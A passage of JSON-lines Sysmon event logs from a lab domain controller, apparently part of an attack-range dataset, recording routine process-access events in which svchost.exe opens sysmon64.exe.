11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 